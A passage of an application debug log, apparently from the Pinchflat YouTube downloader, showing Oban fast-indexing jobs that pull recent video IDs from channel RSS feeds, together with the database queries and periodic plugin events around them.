((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 14:30:47.443 [debug] QUERY OK source="tasks" db=0.0ms idle=130.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [672, 2, ~U[2026-07-24 14:30:47Z], ~U[2026-07-24 14:30:47Z]] 14:30:47.443 [info] {"args":{"id":2},"id":669,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":133009,"event":"job:stop","queue_time":327021,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:30:47.444 [debug] QUERY OK source="tasks" db=0.2ms idle=0.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:30:56.917 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.614 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:31:01.325 [info] {"args":{"id":1},"id":670,"meta":{},"system_time":1784903461325136168,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:31:01.325 [debug] QUERY OK source="sources" db=0.1ms idle=549.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:31:01.325 [debug] QUERY OK source="tasks" db=0.2ms idle=549.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:31:01.325 [debug] QUERY OK source="settings" db=0.2ms idle=549.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:31:01.325 [debug] QUERY OK source="sources" db=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:31:01.325 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:31:01.326 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:31:01.326 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 14:31:01.364 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 14:31:01.364 [debug] QUERY OK source="media_items" db=0.2ms idle=38.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 14:31:01.367 [debug] QUERY OK source="media_items" db=2.2ms idle=39.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:31:01.367 [debug] QUERY OK source="tasks" db=0.0ms idle=41.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [673, 1, ~U[2026-07-24 14:31:01Z], ~U[2026-07-24 14:31:01Z]] 14:31:01.367 [info] {"args":{"id":1},"id":670,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":42661,"event":"job:stop","queue_time":398725,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:31:01.368 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:31:16.340 [info] {"args":{"id":3},"id":671,"meta":{},"system_time":1784903476340342396,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:31:16.340 [debug] QUERY OK source="sources" db=0.2ms idle=1564.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:31:16.340 [debug] QUERY OK source="tasks" db=0.3ms idle=1564.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:31:16.341 [debug] QUERY OK source="settings" db=0.1ms idle=1007.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:31:16.341 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:31:16.341 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:31:16.341 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:31:16.341 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 14:31:16.534 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 14:31:16.535 [debug] QUERY OK source="media_items" db=0.6ms idle=194.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 14:31:16.539 [debug] QUERY OK source="media_items" db=3.4ms idle=195.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 14:31:16.540 [debug] QUERY OK source="tasks" db=0.1ms idle=198.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [674, 3, ~U[2026-07-24 14:31:16Z], ~U[2026-07-24 14:31:16Z]] 14:31:16.540 [info] {"args":{"id":3},"id":671,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":200305,"event":"job:stop","queue_time":578198,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:31:16.541 [debug] QUERY OK source="tasks" db=0.2ms idle=1.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:31:26.919 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:56.920 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.616 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:32:26.921 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:56.922 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.617 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:33:26.923 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:56.924 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.618 [info] {"source":"oban","duration":141,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:34:26.925 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:56.926 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.619 [info] {"source":"oban","duration":313,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:35:26.927 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:56.928 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.619 [info] {"source":"oban","duration":124,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:36:26.929 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:56.930 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.620 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:37:26.931 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:56.932 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.622 [info] {"source":"oban","duration":133,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:38:26.933 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:56.934 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.622 [info] {"source":"oban","duration":139,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:39:26.935 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:56.936 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.624 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:40:26.937 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:47.932 [info] {"args":{"id":2},"id":672,"meta":{},"system_time":1784904047932398469,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:40:47.933 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1156.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:40:47.933 [debug] QUERY OK source="tasks" db=0.4ms idle=1156.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:40:47.933 [debug] QUERY OK source="settings" db=0.2ms idle=1007.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:40:47.933 [debug] QUERY OK source="sources" db=0.2ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:40:47.933 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:40:47.934 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:40:47.934 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 14:40:48.482 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 14:40:48.482 [debug] QUERY OK source="media_items" db=0.1ms idle=549.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 14:40:48.483 [debug] QUERY OK source="media_items" db=0.2ms idle=549.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN 